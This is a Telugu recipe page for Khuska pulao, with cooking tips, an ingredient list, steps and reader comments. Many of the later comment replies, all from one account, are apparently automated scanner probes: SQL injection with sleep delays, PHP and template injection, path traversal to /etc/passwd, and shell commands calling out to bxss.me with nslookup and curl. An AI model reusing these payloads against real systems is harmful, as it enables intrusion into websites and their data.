ఖుస్కా బెస్ట్ పులావ్

Tamilnadu Specials
5.0 AVERAGE
98 Comments

ఖుస్కా...ఇది రాయలసీమ ఇంకా తమిళనాడులో చాలా ఫేమస్. ఏ ఫంక్షన్లోనైనా ఇది ఉండాల్సిందే! ఇంకా చిన్న చిన్న బండ్ల మీద కూడా దీన్ని అమ్ముతుంటారు! ఇది నాన్ వెజ్ కర్రీస్ తోను, ఇంకా రైతా తోనూ చాలా రుచిగా ఉంటుంది. ఇదే ఖుస్కా లో నాన్-వెజ్ వేసి కూడా చేస్తారు!

వీకెండ్ ఏదైనా స్పెషల్ చేయాలని అవీ ఇవీ అని వెతకడం మానేసి ఖుస్కా రైస్ ఇంకా చల్లని రైతా చేయండి. తృప్తిగా ముగిస్తారు వీకెండ్ని.

ఈ ఖుస్కా రైస్ ఒక రకంగా టొమాటో రైస్ లాంటిదే కానీ, రుచి సువాసన భిన్నంగా ఉంటుంది.

రెసిపీ ప్రింట్ చేయడానికి
Khuska Pulao Recipe | Khuska Biryani | Vegetable Khuska | How to make Khuska

టిప్స్

బాస్మతి బియ్యం:

• నేను బాస్మతి బియ్యం వాడాను, మీరు కావాలంటే సోనా మసూరి బియ్యం కూడా వాడుకోవచ్చు.

• ఏ బియ్యం వాడినా గంట నానబెట్టాలి.

• బాసమతి బియ్యం అయితే కప్ బియ్యానికి కప్ నీరు సరిపోతుంది. హై- ఫ్లేమ్ మీద ఒక వీసీల్ వస్తే చాలు. అప్పుడు పొడి పొడిగా వస్తుంది.

• అదే సోనా మసూరి బియ్యం అయితే కప్ బియ్యనికి 1.3/4 నీళ్ళు పోసి 2 కూతలు రానివ్వాలి. ఒకటి హై- ఫ్లేమ్ మీద మరొకటి మీడియం ఫ్లేమ్ మీద.

• నేను చెప్పినట్లు బియ్యాన్ని నానబెట్టి, ఎసరు పోసుకుంటే పొడి పొడిగా వస్తుంది ఖుస్కా. లేదా ముద్దగా ఉంటుంది.

• ఏ బియ్యం వాడినా మెతుకు విరగకుండా నిదానంగా బియ్యాన్ని పొడి పొడిగా అయ్యేదాక వేపుకోవాలి. అప్పుడు పొడి పొడిగా వస్తుంది.

టొమాటో:

• దేశవాళీవి అదే నాటు టొమాటోలు వాడితే చాలా రుచిగా ఉంటుంది ఖుస్కా. అదే హైబ్రీడ్ వాడితే ½ చెక్క నిమ్మరసం పిండుకోవాలి .

జాజికాయ, అనాసపువ్వు:

• ఖుస్కాలో జాజికాయ, అనాసపువ్వు కచ్చితంగా వాడితే ఎంతో రుచిగా ఉంటుంది.

Khuska Pulao Recipe | Khuska Biryani | Vegetable Khuska | How to make Khuska

More Pulao and Biryanis Recipes

కాజు పులావు | జీడిపప్పు పులావ్

ఈసీ రొయ్యల పులావ్

మటన్ పులావ్ కుక్కర్లో | 100% బెస్ట్ మటన్ పులావ్ కుక్కర్లో

ఎగ్ పులావు | అన్నం మిగిలిపోతే 5mins లో ఈ పులావు చేసెయ్యండి

ఖుస్కా బెస్ట్ పులావ్ - రెసిపీ వీడియో

Khuska Pulao Recipe | Khuska Biryani | Vegetable Khuska | How to make Khuska

Pulao and Biryanis | vegetarian
  • Prep Time 5 mins
  • Cook Time 20 mins
  • Resting Time 10 mins
  • Total Time 35 mins
  • Servings 3
See this Recipe in English

కావాల్సిన పదార్ధాలు

  • 1 cup బాస్మతి బియ్యం (గంటపాటు నానబెట్టినవి)
  • 1/2 cup నెయ్యి
  • ఉల్లిపాయ- మీడియం సైజు తరుగు
  • 3 పచ్చిమిర్చి చీలికలు
  • 2 పండిన టమాటో
  • 1/2 bunch పుదినా
  • 1/2 bunch కొత్తిమీర
  • 1/2 cup పెరుగు
  • 4 యాలకలు
  • 4 లవంగాలు
  • 1 ఇంచ్ దాల్చిన చెక్క
  • 1 అనాసపువ్వు
  • జాజికాయ- చిన్న పలుకు
  • 1 బిరియాని ఆకు
  • 1 tsp జీలకర్ర
  • 1 tsp సోంపు
  • సాల్ట్
  • 1 tsp అల్లం వెల్లూలి ముద్ద
  • 1/4 spoon పసుపు
  • 1 tsp కారం
  • 1/2 tsp గరం మసాలా
  • 1 cup నీళ్ళు
రెసిపీ ప్రింట్ చేయడానికి

విధానం

  1. ప్రెషర్ కుక్కర్ లో నెయ్యి కరిగించి, అందులో యాలకలు, లవంగాలు, చెక్కా, అనాసపువ్వు, జాజి కాయ, బిరియాని ఆకు వేసి వేయించుకోండి.
  2. జీలకర్ర, సోంపు వేసి వేయించి ఉల్లిపాయ పచ్చిమిర్చి చీలికలు వేసి ఉల్లిపాయలు ఎర్రగా వేగనివ్వాలి .
  3. అల్లం వెల్లూలి ముద్ద వేసి వేయించి అందులో పండిన టొమాటో ముక్కలు, పసుపు, ఉప్పు కారం, గరం మసాల వేసి టొమాటోలు మెత్తగా గుజ్జుగా అయ్యేదాకా నిదానంగా కుక్ చేసుకోండి.
  4. ½ కప్ కమ్మటి చిలికిన పెరుగు వేసి బాగా కలుపుతూ నిదానంగా పెరుగులోంచి నెయ్యి పైకి తేలేదాకా కలుపుతూ కుక్ చేసుకోండి.
  5. నెయ్యి పైకి తేలాక కొత్తిమీర, పుదినా తరుగు వేసి బాగా కలుపుకుని గంట పాటు నానా బెట్టిన బాస్మతి బియ్యం వడకట్టి వేసి, నిదానంగా గింజ విరగకుండా ఓ నిమిషం పాటు వేపుకోండి హై-ఫ్లేం మీద.
  6. కప్ నీళ్ళు పోసి కుక్కర్ మూత పెట్టి కేవలం హై-ఫ్లేం మీద మాత్రమే ఓ విసిల్ రానిచ్చి, 20 నిమిషాలు వదిలేయండి.
  7. 20 నిమిషాల తరువాత కుక్కర్ మూత తీసి అడుగునుండి అట్లకాడతో కలుపుకొండి. అంతే ఘుమఘుమలాడే ఖుస్కా తయార్.
  8. రైతా తో, ఏదైనా మసాలా కర్రీ తో, నాన్ వెజ్ కర్రీస్ తో ఎలా తిన్నా చాలా బాగుంటుంది.

Leave a comment

Rate this Recipe:
Your email address will not be published.

98 comments

  • B
    Bharath
    As recommended,I followed same recipe, but masala product which used like (clove,cinnamon,Anise,nut mug) This dominated the taste of the food. Overall food is good with little spicy of clove. What i felt after preparing the food is follow the same steps but reduce the masala product to half which he recommended
    4 weeks ago Reply
  • M
    Midhuna Garapati
    Hey. The channel and website is a big help. I live in Netherlands and am from native Rajuhmundry. The recipes are explicitly authentic. I was just wondering if there was an app to your brand. The website user interface is very bad and its keeps asking for my location. Just for an ease of access. A suggestion thats all.
    8 months ago Reply
  • R
    Raazu
    Anu GH hi hi j
    2 years ago Reply
  • S
    Swapna
    Recipe Rating:
    Suuuper Anna
    2 years ago Reply
  • G
    Gordon Ramswamy
    ipatki 15 times chesunta, still i don't feel this is flavorful, chicken curry tho baguntadi kani plain ga thnitey em flavour ledu..chennai lo kuska curry lekunda kuda chala baguntadi with good flavor, alanti taste ndku ravtledu i'm following exactly wat is said in the video. anyone facing the same issue? plz help
    2 years ago Reply
  • S
    Sahithi Kadimcharla
    This recipe is the all time favourite in our home🥰... this is the first recipe I tried from vismai food 😁😁and it was a super hit at my home and suggested many others to try this 😊😊 Thank you vismai food 🤩
    3 years ago Reply
  • N
    Naveen kumar padala
    Recipe Rating:
    This recipe is so awesome. My mom started making it almost twice in a month
    3 years ago Reply
  • A
    Anupoju Raji
    Recipe Rating:
    Super respis bro
    3 years ago Reply
  • H
    harika
    Recipe Rating:
    This post is extremely radiant. I extremely like this post. It is outstanding amongst other posts that I’ve read in quite a while. Much obliged for this better than average post. I truly value it! indochinese restaurants
    3 years ago Reply
  • V
    vasu
    Recipe Rating:
    Anna 1 cup rice annaru Kada enni grams rice anna
    4 years ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      @@rM3qp
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1????%2527%2522\'\"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1l81gtr0l')) OR 271=(SELECT 271 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1iOpvhJ7M') OR 249=(SELECT 249 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      17bBIHUcU' OR 549=(SELECT 549 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1)) OR 491=(SELECT 491 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1) OR 260=(SELECT 260 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1 OR 355=(SELECT 355 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      19YKcdqGF'; waitfor delay '0:0:15' --
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1 waitfor delay '0:0:15' --
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1); waitfor delay '0:0:15' --
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1; waitfor delay '0:0:15' --
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*if(now()=sysdate(),sleep(15),0)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      -1 OR 3+572-572-1=0+0+0+1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      -1 OR 2+572-572-1=0+0+0+1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1g74UzjRI
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      [php]print(md5(31337));[/php]
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      {php}print(md5(31337));{/php}
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      print(md5(31337));//
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '{${print(md5(31337))}}'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '.print(md5(31337)).'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${@print(md5(31337))}\
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${@print(md5(31337))}
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ";print(md5(31337));$a="
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ';print(md5(31337));$a='
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      gethostbyname(lc('hitqt'.'uegsgxhbc23f6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(65).chr(103).chr(72)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ".gethostbyname(lc("hitkk"."wyrtfejv96764.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(88).chr(115).chr(87)."
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '.gethostbyname(lc('hitxv'.'nqtozmeq7bc7a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(83).chr(118).chr(90).'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ../1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ./1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      file:///etc/passwd
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      vismaifood.com
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      https://vismaifood.com/
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1"||sleep(27*1000)*uupwtk||"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      xfs.bxss.me
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1"&&sleep(27*1000)*vmysfi&&"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'||sleep(27*1000)*qoiczr||'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'&&sleep(27*1000)*uuazwb&&'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '"()
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ;(nslookup -q=cname hitkbfyqaovxs1fb98.bxss.me||curl hitkbfyqaovxs1fb98.bxss.me)|(nslookup -q=cname hitkbfyqaovxs1fb98.bxss.me||curl hitkbfyqaovxs1fb98.bxss.me)&(nslookup -q=cname hitkbfyqaovxs1fb98.bxss.me||curl hitkbfyqaovxs1fb98.bxss.me)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '+'A'.concat(70-3).concat(22*4).concat(102).concat(69).concat(109).concat(90)+(require'socket' Socket.gethostbyname('hitzs'+'olclfpdga3a0f.bxss.me.')[3].to_s)+'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      'A'.concat(70-3).concat(22*4).concat(107).concat(69).concat(107).concat(80)+(require'socket' Socket.gethostbyname('hitpp'+'wddojzdsf60fd.bxss.me.')[3].to_s)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      `(nslookup -q=cname hitenfehmxptec53b0.bxss.me||curl hitenfehmxptec53b0.bxss.me)`
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      "+"A".concat(70-3).concat(22*4).concat(112).concat(67).concat(114).concat(86)+(require"socket" Socket.gethostbyname("hitys"+"qwmkurtxe0214.bxss.me.")[3].to_s)+"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      |(nslookup -q=cname hitjdxrucilwy10bc7.bxss.me||curl hitjdxrucilwy10bc7.bxss.me)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &(nslookup -q=cname hitpbwdbbxvpwcac13.bxss.me||curl hitpbwdbbxvpwcac13.bxss.me)&'\"`0&(nslookup -q=cname hitpbwdbbxvpwcac13.bxss.me||curl hitpbwdbbxvpwcac13.bxss.me)&`'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      (nslookup -q=cname hitvmwikzkpaf24783.bxss.me||curl hitvmwikzkpaf24783.bxss.me))
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      $(nslookup -q=cname hiteglqhwtwbt21ea4.bxss.me||curl hiteglqhwtwbt21ea4.bxss.me)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &nslookup -q=cname hithidmljkxffd9e58.bxss.me&'\"`0&nslookup -q=cname hithidmljkxffd9e58.bxss.me&`'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      |echo mortor$()\ dnwpkf\nz^xyu||a #' |echo mortor$()\ dnwpkf\nz^xyu||a #|" |echo mortor$()\ dnwpkf\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1|echo kbvvgq$()\ hzitbt\nz^xyu||a #' |echo kbvvgq$()\ hzitbt\nz^xyu||a #|" |echo kbvvgq$()\ hzitbt\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &echo fhjcqf$()\ irsvam\nz^xyu||a #' &echo fhjcqf$()\ irsvam\nz^xyu||a #|" &echo fhjcqf$()\ irsvam\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1&echo rjbddx$()\ gzempr\nz^xyu||a #' &echo rjbddx$()\ gzempr\nz^xyu||a #|" &echo rjbddx$()\ gzempr\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ^(#$!@#$)(()))******
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      echo ovpptj$()\ fczsra\nz^xyu||a #' &echo ovpptj$()\ fczsra\nz^xyu||a #|" &echo ovpptj$()\ fczsra\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      khuska-pulao-recipe-khuska-biryani-vegetable-khuska/.
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      !(()&&!|*|*|
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      khuska-pulao-recipe-khuska-biryani-vegetable-khuska
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      khuska-pulao-recipe-khuska-biryani-vegetable-khuska
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      bxss.me
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      c:/windows/win.ini
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ../../../../../../../../../../../../../../etc/shells
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      /etc/shells
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      http://bxss.me/t/fit.txt?.jpg
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      Http://bxss.me/t/fit.txt
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1&n962286=v908106
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${9999181+10000064}
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      12345'"\'\");|]*{ ?''💡
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      Vzb2F4mT: XINuZQcU
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      IXzEDgo1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      "+response.write(9812666*9818680)+"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '+response.write(9812666*9818680)+'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      response.write(9812666*9818680)
      1 month ago Reply
Khuska Pulao Recipe | Khuska Biryani | Vegetable Khuska | How to make Khuska